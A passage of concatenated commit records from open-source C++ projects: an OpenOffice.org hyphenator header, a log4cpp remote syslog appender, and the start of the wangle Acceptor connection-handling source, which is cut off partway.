* last change: $Author: rt $ $Date: 2005-09-07 19:40:02 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\n#ifndef _LINGU2_HYPHENIMP_HXX_\n#define _LINGU2_HYPHENIMP_HXX_\n\n#include <uno\/lbnames.h> \/\/ CPPU_CURRENT_LANGUAGE_BINDING_NAME macro, which specify the environment type\n#include <cppuhelper\/implbase1.hxx> \/\/ helper for implementations\n#include <cppuhelper\/implbase6.hxx> \/\/ helper for implementations\n\n#ifndef _COM_SUN_STAR_LANG_XCOMPONENT_HPP_\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XINITIALIZATION_HPP_\n#include <com\/sun\/star\/lang\/XInitialization.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEDISPLAYNAME_HPP_\n#include <com\/sun\/star\/lang\/XServiceDisplayName.hpp>\n#endif\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/beans\/PropertyValues.hpp>\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#include <com\/sun\/star\/linguistic2\/XHyphenator.hpp>\n#include <com\/sun\/star\/linguistic2\/XSearchableDictionaryList.hpp>\n#include <com\/sun\/star\/linguistic2\/XLinguServiceEventBroadcaster.hpp>\n\n#ifndef _TOOLS_TABLE_HXX\n#include <tools\/table.hxx>\n#endif\n\n#include <unotools\/charclass.hxx>\n\n#include <linguistic\/misc.hxx>\n#include \"hprophelp.hxx\"\n#include <stdio.h>\nusing namespace ::rtl;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::lang;\nusing namespace ::com::sun::star::linguistic2;\n\n\n#define A2OU(x) ::rtl::OUString::createFromAscii( x )\n\n#define OU2A(rtlOUString) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), RTL_TEXTENCODING_ASCII_US).getStr()\n\n#define OU2UTF8(rtlOUString) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), RTL_TEXTENCODING_UTF8).getStr()\n\n#define OU2ISO_1(rtlOUString) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), RTL_TEXTENCODING_ISO_8859_1).getStr()\n\n#define OU2ENC(rtlOUString, rtlEncoding) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), rtlEncoding).getStr()\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nstruct HDInfo {\n HyphenDict * aPtr;\n OUString aName;\n Locale aLoc;\n rtl_TextEncoding aEnc;\n CharClass * apCC;\n};\n\n\n\nclass Hyphenator :\n public cppu::WeakImplHelper6\n <\n XHyphenator,\n XLinguServiceEventBroadcaster,\n XInitialization,\n XComponent,\n XServiceInfo,\n XServiceDisplayName\n >\n{\n Sequence< Locale > aSuppLocales;\n HDInfo * aDicts;\n sal_Int32 numdict;\n\n ::cppu::OInterfaceContainerHelper aEvtListeners;\n Reference< XPropertyChangeListener > xPropHelper;\n Reference< XMultiServiceFactory > rSMgr;\n PropertyHelper_Hyphen * pPropHelper;\n BOOL bDisposing;\n\n \/\/ disallow copy-constructor and assignment-operator for now\n Hyphenator(const Hyphenator &);\n Hyphenator & operator = (const Hyphenator &);\n\n PropertyHelper_Hyphen & GetPropHelper_Impl();\n PropertyHelper_Hyphen & GetPropHelper()\n {\n return pPropHelper ? *pPropHelper : GetPropHelper_Impl();\n }\n\npublic:\n Hyphenator();\n\n virtual ~Hyphenator();\n\n \/\/ XSupportedLocales (for XHyphenator)\n virtual Sequence< Locale > SAL_CALL getLocales()\n throw(RuntimeException);\n virtual sal_Bool SAL_CALL hasLocale( const Locale& rLocale )\n throw(RuntimeException);\n\n \/\/ XHyphenator\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::linguistic2::XHyphenatedWord > SAL_CALL\n hyphenate( const ::rtl::OUString& aWord,\n const ::com::sun::star::lang::Locale& aLocale,\n sal_Int16 nMaxLeading,\n const ::com::sun::star::beans::PropertyValues& aProperties )\n throw(::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException);\n\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::linguistic2::XHyphenatedWord > SAL_CALL\n queryAlternativeSpelling( const ::rtl::OUString& aWord,\n const ::com::sun::star::lang::Locale& aLocale,\n sal_Int16 nIndex,\n const ::com::sun::star::beans::PropertyValues& aProperties )\n throw(::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException);\n\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::linguistic2::XPossibleHyphens > SAL_CALL\n createPossibleHyphens( const ::rtl::OUString& aWord,\n const ::com::sun::star::lang::Locale& aLocale,\n const ::com::sun::star::beans::PropertyValues& aProperties )\n throw(::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException);\n\n \/\/ XLinguServiceEventBroadcaster\n virtual sal_Bool SAL_CALL\n addLinguServiceEventListener(\n const Reference< XLinguServiceEventListener >& rxLstnr )\n throw(RuntimeException);\n virtual sal_Bool SAL_CALL\n removeLinguServiceEventListener(\n const Reference< XLinguServiceEventListener >& rxLstnr )\n throw(RuntimeException);\n\n \/\/ XServiceDisplayName\n virtual OUString SAL_CALL\n getServiceDisplayName( const Locale& rLocale )\n throw(RuntimeException);\n\n \/\/ XInitialization\n virtual void SAL_CALL\n initialize( const Sequence< Any >& rArguments )\n throw(Exception, RuntimeException);\n\n \/\/ XComponent\n virtual void SAL_CALL\n dispose()\n throw(RuntimeException);\n virtual void SAL_CALL\n addEventListener( const Reference< XEventListener >& rxListener )\n throw(RuntimeException);\n virtual void SAL_CALL\n removeEventListener( const Reference< XEventListener >& rxListener )\n throw(RuntimeException);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Service specific part\n \/\/\n\n \/\/ XServiceInfo\n virtual OUString SAL_CALL\n getImplementationName()\n throw(RuntimeException);\n virtual sal_Bool SAL_CALL\n supportsService( const OUString& rServiceName )\n throw(RuntimeException);\n virtual Sequence< OUString > SAL_CALL\n getSupportedServiceNames()\n throw(RuntimeException);\n\n\n static inline OUString\n getImplementationName_Static() throw();\n static Sequence< OUString >\n getSupportedServiceNames_Static() throw();\n\n\n\nprivate:\n OUString SAL_CALL makeLowerCase(const OUString&, CharClass *);\n\n};\n\ninline OUString Hyphenator::getImplementationName_Static() throw()\n{\n return A2OU( \"org.openoffice.lingu.LibHnjHyphenator\" );\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#endif\n\n<commit_msg>INTEGRATION: CWS hyphenator2 (1.6.28); FILE MERGED 2006\/01\/27 00:44:15 nemeth 1.6.28.1: i61214 i58558<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: hyphenimp.hxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2006-02-06 16:23:50 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\n#ifndef _LINGU2_HYPHENIMP_HXX_\n#define _LINGU2_HYPHENIMP_HXX_\n\n#include <uno\/lbnames.h> \/\/ CPPU_CURRENT_LANGUAGE_BINDING_NAME macro, which specify the environment type\n#include <cppuhelper\/implbase1.hxx> \/\/ helper for implementations\n#include <cppuhelper\/implbase6.hxx> \/\/ helper for implementations\n\n#ifndef _COM_SUN_STAR_LANG_XCOMPONENT_HPP_\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XINITIALIZATION_HPP_\n#include <com\/sun\/star\/lang\/XInitialization.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEDISPLAYNAME_HPP_\n#include <com\/sun\/star\/lang\/XServiceDisplayName.hpp>\n#endif\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/beans\/PropertyValues.hpp>\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#include <com\/sun\/star\/linguistic2\/XHyphenator.hpp>\n#include <com\/sun\/star\/linguistic2\/XSearchableDictionaryList.hpp>\n#include <com\/sun\/star\/linguistic2\/XLinguServiceEventBroadcaster.hpp>\n\n#ifndef _TOOLS_TABLE_HXX\n#include <tools\/table.hxx>\n#endif\n\n#include <unotools\/charclass.hxx>\n\n#include <linguistic\/misc.hxx>\n#include \"hprophelp.hxx\"\n#include <stdio.h>\nusing namespace ::rtl;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::lang;\nusing namespace ::com::sun::star::linguistic2;\n\n\n#define A2OU(x) ::rtl::OUString::createFromAscii( x )\n\n#define OU2A(rtlOUString) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), RTL_TEXTENCODING_ASCII_US).getStr()\n\n#define OU2UTF8(rtlOUString) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), RTL_TEXTENCODING_UTF8).getStr()\n\n#define OU2ISO_1(rtlOUString) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), RTL_TEXTENCODING_ISO_8859_1).getStr()\n\n#define OU2ENC(rtlOUString, rtlEncoding) ::rtl::OString((rtlOUString).getStr(), (rtlOUString).getLength(), rtlEncoding).getStr()\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nstruct HDInfo {\n HyphenDict * aPtr;\n OUString aName;\n Locale aLoc;\n rtl_TextEncoding aEnc;\n CharClass * apCC;\n};\n\n\n\nclass Hyphenator :\n public cppu::WeakImplHelper6\n <\n XHyphenator,\n XLinguServiceEventBroadcaster,\n XInitialization,\n XComponent,\n XServiceInfo,\n XServiceDisplayName\n >\n{\n Sequence< Locale > aSuppLocales;\n HDInfo * aDicts;\n sal_Int32 numdict;\n\n ::cppu::OInterfaceContainerHelper aEvtListeners;\n Reference< XPropertyChangeListener > xPropHelper;\n Reference< XMultiServiceFactory > rSMgr;\n PropertyHelper_Hyphen * pPropHelper;\n BOOL bDisposing;\n\n \/\/ disallow copy-constructor and assignment-operator for now\n Hyphenator(const Hyphenator &);\n Hyphenator & operator = (const Hyphenator &);\n\n PropertyHelper_Hyphen & GetPropHelper_Impl();\n PropertyHelper_Hyphen & GetPropHelper()\n {\n return pPropHelper ? *pPropHelper : GetPropHelper_Impl();\n }\n\npublic:\n Hyphenator();\n\n virtual ~Hyphenator();\n\n \/\/ XSupportedLocales (for XHyphenator)\n virtual Sequence< Locale > SAL_CALL getLocales()\n throw(RuntimeException);\n virtual sal_Bool SAL_CALL hasLocale( const Locale& rLocale )\n throw(RuntimeException);\n\n \/\/ XHyphenator\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::linguistic2::XHyphenatedWord > SAL_CALL\n hyphenate( const ::rtl::OUString& aWord,\n const ::com::sun::star::lang::Locale& aLocale,\n sal_Int16 nMaxLeading,\n const ::com::sun::star::beans::PropertyValues& aProperties )\n throw(::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException);\n\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::linguistic2::XHyphenatedWord > SAL_CALL\n queryAlternativeSpelling( const ::rtl::OUString& aWord,\n const ::com::sun::star::lang::Locale& aLocale,\n sal_Int16 nIndex,\n const ::com::sun::star::beans::PropertyValues& aProperties )\n throw(::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException);\n\n virtual ::com::sun::star::uno::Reference< ::com::sun::star::linguistic2::XPossibleHyphens > SAL_CALL\n createPossibleHyphens( const ::rtl::OUString& aWord,\n const ::com::sun::star::lang::Locale& aLocale,\n const ::com::sun::star::beans::PropertyValues& aProperties )\n throw(::com::sun::star::lang::IllegalArgumentException,\n ::com::sun::star::uno::RuntimeException);\n\n \/\/ XLinguServiceEventBroadcaster\n virtual sal_Bool SAL_CALL\n addLinguServiceEventListener(\n const Reference< XLinguServiceEventListener >& rxLstnr )\n throw(RuntimeException);\n virtual sal_Bool SAL_CALL\n removeLinguServiceEventListener(\n const Reference< XLinguServiceEventListener >& rxLstnr )\n throw(RuntimeException);\n\n \/\/ XServiceDisplayName\n virtual OUString SAL_CALL\n getServiceDisplayName( const Locale& rLocale )\n throw(RuntimeException);\n\n \/\/ XInitialization\n virtual void SAL_CALL\n initialize( const Sequence< Any >& rArguments )\n throw(Exception, RuntimeException);\n\n \/\/ XComponent\n virtual void SAL_CALL\n dispose()\n throw(RuntimeException);\n virtual void SAL_CALL\n addEventListener( const Reference< XEventListener >& rxListener )\n throw(RuntimeException);\n virtual void SAL_CALL\n removeEventListener( const Reference< XEventListener >& rxListener )\n throw(RuntimeException);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Service specific part\n \/\/\n\n \/\/ XServiceInfo\n virtual OUString SAL_CALL\n getImplementationName()\n throw(RuntimeException);\n virtual sal_Bool SAL_CALL\n supportsService( const OUString& rServiceName )\n throw(RuntimeException);\n virtual Sequence< OUString > SAL_CALL\n getSupportedServiceNames()\n throw(RuntimeException);\n\n\n static inline OUString\n getImplementationName_Static() throw();\n static Sequence< OUString >\n getSupportedServiceNames_Static() throw();\n\n\n\nprivate:\n sal_uInt16 SAL_CALL capitalType(const OUString&, CharClass *);\n OUString SAL_CALL makeLowerCase(const OUString&, CharClass *);\n OUString SAL_CALL makeUpperCase(const OUString&, CharClass *);\n OUString SAL_CALL makeInitCap(const OUString&, CharClass *);\n};\n\ninline OUString Hyphenator::getImplementationName_Static() throw()\n{\n return A2OU( \"org.openoffice.lingu.LibHnjHyphenator\" );\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * RemoteSyslogAppender.cpp\n *\n * Copyright 2001, LifeLine Networks BV (www.lifeline.nl). All rights reserved.\n * Copyright 2001, Walter Stroebel. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#include \"log4cpp\/Portability.hh\"\n\n#ifdef LOG4CPP_HAVE_UNISTD_H\n# include <unistd.h>\n#endif\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include \"log4cpp\/RemoteSyslogAppender.hh\"\n#ifdef WIN32\n#include <winsock2.h>\n#else\n#include <netdb.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#endif\n\nnamespace log4cpp {\n\n int RemoteSyslogAppender::toSyslogPriority(Priority::Value priority) {\n static int priorities[8] = { LOG_EMERG, LOG_ALERT, LOG_CRIT, LOG_ERR,\n LOG_WARNING, LOG_NOTICE, LOG_INFO, \n LOG_DEBUG };\n int result;\n\n priority++;\n priority \/= 100;\n\n if (priority < 0) {\n result = LOG_EMERG;\n } else if (priority > 7) {\n result = LOG_DEBUG;\n } else {\n result = priorities[priority];\n }\n\n return result;\n }\n \n\n RemoteSyslogAppender::RemoteSyslogAppender(const std::string& name, \n const std::string& syslogName, \n\t\t\t\t const std::string& relayer,\n int facility,\n\t\t\t\t int portNumber) : \n AppenderSkeleton(name),\n _syslogName(syslogName),\n\t_relayer(relayer),\n _facility(facility),\n\t_portNumber (portNumber),\n\t_socket (0),\n\t_ipAddr (0),\n\t_cludge (0)\n {\n open();\n }\n \n RemoteSyslogAppender::~RemoteSyslogAppender() {\n close();\n#ifdef WIN32\n\tif (_cludge) {\n\t \/\/ we started it, we end it.\n\t WSACleanup ();\n\t}\n#endif\n }\n\n void RemoteSyslogAppender::open() {\n\tif (!_ipAddr) {\n\t struct hostent *pent = gethostbyname (_relayer.c_str ());\n\t if (pent == NULL) {\n#ifdef WIN32\n\t\tif (WSAGetLastError () == WSANOTINITIALISED) {\n\t\t WSADATA wsaData;\n\t\t int err;\n \n\t\t err = WSAStartup (0x101, &wsaData );\n\t\t if (err) abort ();\n\t\t pent = gethostbyname (_relayer.c_str ());\n\t\t _cludge = 1;\n\t\t} else {\n\t\t abort ();\n\t\t}\n#endif\n\t }\n\t if (pent == NULL) {\n\t\tunsigned long ip = (unsigned long) inet_addr (_relayer.c_str ());\n\t\tpent = gethostbyaddr ((const char *) &ip, 4, AF_INET);\n\t }\n\t if (pent == NULL) {\n\t\tabort ();\n\t }\n\t _ipAddr = *((unsigned long *) pent->h_addr);\n\t}\n\t\/\/ Get a datagram socket.\n\t\n\tif ((_socket = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {\n\t abort ();\n\t} else {\n\t sockaddr_in sain;\n\t sain.sin_family = AF_INET;\n\t sain.sin_port = htons (_portNumber);\n\t sain.sin_addr.s_addr = htonl (_ipAddr);\n\t if (connect (_socket, (struct sockaddr *) &sain, sizeof (sain)) < 0) {\n\t\tabort ();\n\t }\n\t}\n }\n\n void RemoteSyslogAppender::close() {\n\tif (_socket) {\n#if WIN32\n\t closesocket (_socket);\n#else\n\t close (_socket);\n#endif\n\t _socket = 0;\n\t}\n }\n\n void RemoteSyslogAppender::_append(const LoggingEvent& event) {\n if (!_layout) {\n \/\/ XXX help! help!\n return;\n }\n\t\n\tstd::string msgStr = _layout->format(event);\n const char* message = msgStr.c_str();\n\tint len = strlen (message) + 16;\n\tchar *buf = new char [len];\n int priority = toSyslogPriority(event.priority);\n\tsprintf (buf, \"<%d>\", priority);\n\tmemcpy (buf + strlen (buf), message, len - 16);\n\tsockaddr_in sain;\n\tsain.sin_family = AF_INET;\n\tsain.sin_port = htons (_portNumber);\n sain.sin_addr.s_addr = htonl (_ipAddr);\n\tint r = sendto (_socket, buf, (int) len, 0, (struct sockaddr *) &sain, sizeof (sain));\n\tprintf (\"sendto: %d\\n\", r);\n\tdelete buf;\n }\n\n bool RemoteSyslogAppender::reopen() {\n close();\n open();\n return true;\n } \n\n bool RemoteSyslogAppender::requiresLayout() const {\n return true;\n }\n\n void RemoteSyslogAppender::setLayout(Layout* layout) {\n _layout = layout;\n }\n\n}\n<commit_msg>Debugging<commit_after>\/*\n * RemoteSyslogAppender.cpp\n *\n * Copyright 2001, LifeLine Networks BV (www.lifeline.nl). All rights reserved.\n * Copyright 2001, Walter Stroebel. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#include \"log4cpp\/Portability.hh\"\n\n#ifdef LOG4CPP_HAVE_UNISTD_H\n# include <unistd.h>\n#endif\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include \"log4cpp\/RemoteSyslogAppender.hh\"\n#ifdef WIN32\n#include <winsock2.h>\n#else\n#include <netdb.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#endif\n\nnamespace log4cpp {\n\n int RemoteSyslogAppender::toSyslogPriority(Priority::Value priority) {\n static int priorities[8] = { LOG_EMERG, LOG_ALERT, LOG_CRIT, LOG_ERR,\n LOG_WARNING, LOG_NOTICE, LOG_INFO, \n LOG_DEBUG };\n int result;\n\n priority++;\n priority \/= 100;\n\n if (priority < 0) {\n result = LOG_EMERG;\n } else if (priority > 7) {\n result = LOG_DEBUG;\n } else {\n result = priorities[priority];\n }\n\n return result;\n }\n \n\n RemoteSyslogAppender::RemoteSyslogAppender(const std::string& name, \n const std::string& syslogName, \n\t\t\t\t const std::string& relayer,\n int facility,\n\t\t\t\t int portNumber) : \n AppenderSkeleton(name),\n _syslogName(syslogName),\n\t_relayer(relayer),\n _facility(facility),\n\t_portNumber (portNumber),\n\t_socket (0),\n\t_ipAddr (0),\n\t_cludge (0)\n {\n open();\n }\n \n RemoteSyslogAppender::~RemoteSyslogAppender() {\n close();\n#ifdef WIN32\n\tif (_cludge) {\n\t \/\/ we started it, we end it.\n\t WSACleanup ();\n\t}\n#endif\n }\n\n void RemoteSyslogAppender::open() {\n\tif (!_ipAddr) {\n\t struct hostent *pent = gethostbyname (_relayer.c_str ());\n\t if (pent == NULL) {\n#ifdef WIN32\n\t\tif (WSAGetLastError () == WSANOTINITIALISED) {\n\t\t WSADATA wsaData;\n\t\t int err;\n \n\t\t err = WSAStartup (0x101, &wsaData );\n\t\t if (err) abort ();\n\t\t pent = gethostbyname (_relayer.c_str ());\n\t\t _cludge = 1;\n\t\t} else {\n\t\t abort ();\n\t\t}\n#endif\n\t }\n\t if (pent == NULL) {\n\t\tunsigned long ip = (unsigned long) inet_addr (_relayer.c_str ());\n\t\tpent = gethostbyaddr ((const char *) &ip, 4, AF_INET);\n\t }\n\t if (pent == NULL) {\n\t\tabort ();\n\t }\n\t _ipAddr = *((unsigned long *) pent->h_addr);\n\t}\n\t\/\/ Get a datagram socket.\n\t\n\tif ((_socket = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {\n\t abort ();\n\t} else {\n\t sockaddr_in sain;\n\t sain.sin_family = AF_INET;\n\t sain.sin_port = htons (_portNumber);\n\t sain.sin_addr.s_addr = htonl (_ipAddr);\n\t if (connect (_socket, (struct sockaddr *) &sain, sizeof (sain)) < 0) {\n\t\tabort ();\n\t }\n\t}\n }\n\n void RemoteSyslogAppender::close() {\n\tif (_socket) {\n#if WIN32\n\t closesocket (_socket);\n#else\n\t ::close (_socket);\n#endif\n\t _socket = 0;\n\t}\n }\n\n void RemoteSyslogAppender::_append(const LoggingEvent& event) {\n if (!_layout) {\n \/\/ XXX help! help!\n return;\n }\n\t\n\tstd::string msgStr = _layout->format(event);\n const char* message = msgStr.c_str();\n\tint len = strlen (message) + 16;\n\tchar *buf = new char [len];\n int priority = toSyslogPriority(event.priority);\n\tsprintf (buf, \"<%d>\", priority);\n\tmemcpy (buf + strlen (buf), message, len - 16);\n\tsockaddr_in sain;\n\tsain.sin_family = AF_INET;\n\tsain.sin_port = htons (_portNumber);\n sain.sin_addr.s_addr = htonl (_ipAddr);\n\tint r = sendto (_socket, buf, (int) len, 0, (struct sockaddr *) &sain, sizeof (sain));\n\tprintf (\"sendto: %d\\n\", r);\n\tdelete buf;\n }\n\n bool RemoteSyslogAppender::reopen() {\n close();\n open();\n return true;\n } \n\n bool RemoteSyslogAppender::requiresLayout() const {\n return true;\n }\n\n void RemoteSyslogAppender::setLayout(Layout* layout) {\n _layout = layout;\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2016, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#include <wangle\/acceptor\/Acceptor.h>\n\n#include <wangle\/acceptor\/ManagedConnection.h>\n#include <wangle\/ssl\/SSLContextManager.h>\n#include <wangle\/acceptor\/AcceptorHandshakeManager.h>\n#include <wangle\/acceptor\/SecurityProtocolContextManager.h>\n#include <fcntl.h>\n#include <folly\/ScopeGuard.h>\n#include <folly\/io\/async\/EventBase.h>\n#include <fstream>\n#include <sys\/types.h>\n#include <folly\/io\/async\/AsyncSSLSocket.h>\n#include <folly\/io\/async\/AsyncSocket.h>\n#include <folly\/portability\/Sockets.h>\n#include <folly\/portability\/Unistd.h>\n#include <gflags\/gflags.h>\n\nusing folly::AsyncSocket;\nusing folly::AsyncSSLSocket;\nusing folly::AsyncSocketException;\nusing folly::AsyncServerSocket;\nusing folly::AsyncTransportWrapper;\nusing folly::EventBase;\nusing folly::SocketAddress;\nusing std::chrono::microseconds;\nusing std::chrono::milliseconds;\nusing std::filebuf;\nusing std::ifstream;\nusing std::ios;\nusing std::shared_ptr;\nusing std::string;\n\nnamespace wangle {\n\nstatic const std::string empty_string;\nstd::atomic<uint64_t> Acceptor::totalNumPendingSSLConns_{0};\n\nAcceptor::Acceptor(const ServerSocketConfig& accConfig) :\n accConfig_(accConfig),\n socketOptions_(accConfig.getSocketOptions()) {\n}\n\nvoid\nAcceptor::init(AsyncServerSocket* serverSocket,\n EventBase* eventBase,\n SSLStats* stats) {\n CHECK(nullptr == this->base_ || eventBase == this->base_);\n\n if (accConfig_.isSSL()) {\n if (accConfig_.allowInsecureConnectionsOnSecureServer) {\n securityProtocolCtxManager_.addPeeker(&tlsPlaintextPeekingCallback_);\n }\n securityProtocolCtxManager_.addPeeker(&defaultPeekingCallback_);\n\n if (!sslCtxManager_) {\n sslCtxManager_ = folly::make_unique<SSLContextManager>(\n eventBase,\n \"vip_\" + getName(),\n accConfig_.strictSSL, stats);\n }\n try {\n for (const auto& sslCtxConfig : accConfig_.sslContextConfigs) {\n sslCtxManager_->addSSLContextConfig(\n sslCtxConfig,\n accConfig_.sslCacheOptions,\n &accConfig_.initialTicketSeeds,\n accConfig_.bindAddress,\n cacheProvider_);\n parseClientHello_ |= sslCtxConfig.clientHelloParsingEnabled;\n }\n\n CHECK(sslCtxManager_->getDefaultSSLCtx());\n } catch (const std::runtime_error& ex) {\n sslCtxManager_->clear();\n LOG(ERROR) << \"Failed to configure TLS: \" << ex.what();\n }\n }\n base_ = eventBase;\n state_ = State::kRunning;\n downstreamConnectionManager_ = ConnectionManager::makeUnique(\n eventBase, accConfig_.connectionIdleTimeout, this);\n\n if (serverSocket) {\n serverSocket->addAcceptCallback(this, eventBase);\n\n for (auto& fd : serverSocket->getSockets()) {\n if (fd < 0) {\n continue;\n }\n for (const auto& opt: socketOptions_) {\n opt.first.apply(fd, opt.second);\n }\n }\n }\n}\n\nvoid Acceptor::resetSSLContextConfigs() {\n try {\n sslCtxManager_->resetSSLContextConfigs(accConfig_.sslContextConfigs,\n accConfig_.sslCacheOptions,\n &accConfig_.initialTicketSeeds,\n accConfig_.bindAddress,\n cacheProvider_);\n } catch (const std::runtime_error& ex) {\n LOG(ERROR) << \"Failed to re-configure TLS: \"\n << ex.what()\n << \"will keep old config\";\n }\n\n}\n\nAcceptor::~Acceptor(void) {\n}\n\nvoid Acceptor::addSSLContextConfig(const SSLContextConfig& sslCtxConfig) {\n sslCtxManager_->addSSLContextConfig(sslCtxConfig,\n accConfig_.sslCacheOptions,\n &accConfig_.initialTicketSeeds,\n accConfig_.bindAddress,\n cacheProvider_);\n}\n\nvoid\nAcceptor::drainAllConnections() {\n if (downstreamConnectionManager_) {\n downstreamConnectionManager_->initiateGracefulShutdown(\n gracefulShutdownTimeout_);\n }\n}\n\nvoid Acceptor::setLoadShedConfig(const LoadShedConfiguration& from,\n IConnectionCounter* counter) {\n loadShedConfig_ = from;\n connectionCounter_ = counter;\n}\n\nbool Acceptor::canAccept(const SocketAddress& address) {\n if (!connectionCounter_) {\n return true;\n }\n\n uint64_t maxConnections = connectionCounter_->getMaxConnections();\n if (maxConnections == 0) {\n return true;\n }\n\n uint64_t currentConnections = connectionCounter_->getNumConnections();\n if (currentConnections < maxConnections) {\n return true;\n }\n\n if (loadShedConfig_.isWhitelisted(address)) {\n return true;\n }\n\n \/\/ Take care of the connection counts across all acceptors.\n \/\/ Expensive since a lock must be taken to get the counter.\n const auto activeConnLimit = loadShedConfig_.getMaxActiveConnections();\n const 